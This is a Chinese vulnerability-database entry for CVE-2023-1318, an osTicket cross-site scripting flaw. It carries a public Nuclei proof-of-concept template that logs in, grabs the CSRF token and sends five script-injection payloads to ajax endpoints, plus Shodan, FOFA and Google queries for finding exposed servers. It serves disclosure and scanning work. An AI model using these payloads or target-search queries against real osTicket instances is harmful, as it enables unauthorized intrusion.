CVE-2023-1318: osTicket < v1.16.6 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: osTicket | POC: 已公开

漏洞描述

Cross-site Scripting (XSS) - Generic in GitHub repository osticket/osticket prior to v1.16.6.

PoC代码[已公开]

id: CVE-2023-1318

info:
  name: osTicket < v1.16.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Generic in GitHub repository osticket/osticket prior to v1.16.6.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://huntr.com/bounties/e58b38e0-4897-4bb0-84e8-a7ad8efab338
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1318
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1318
    cwe-id: CWE-79
    epss-score: 0.10208
    epss-percentile: 0.9286
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2023,osticket,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - scp/ajax.php/queue/condition/addProperty?prop=background-colorvximw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3edhvmt&condition=1001
        - scp/ajax.php/queue/condition/addProperty?prop=color&condition=1001ljos2%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Emui2bt(document.domain)%3C%2fscript%3Edhvmt
        - scp/ajax.php/queue/condition/add?field=isassigned&object_id=9&id=1001lr5is%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euoq07
        - scp/ajax.php/staff/change-departmenthpwc8%22%3e%3cscript%3ealert(document.domain)%3c/script%3em7dak
        - scp/ajax.php/kb/faq/1/accessmztvw%22%3e%3cscript%3ealert(document.domain)%3c/script%3ez2p1d

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "><script>alert(document.domain)</script>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220262197a15f3ed354d07abdfb963c7b15caf47f93d2113f7bb915ec196d9b6c3e02202c7bac9b0a09c1b3d80aced3d95c6a8126945aeb91447c46e0b78cdda282eded:922c64590222798bb761d5b6d8e72950

相关漏洞推荐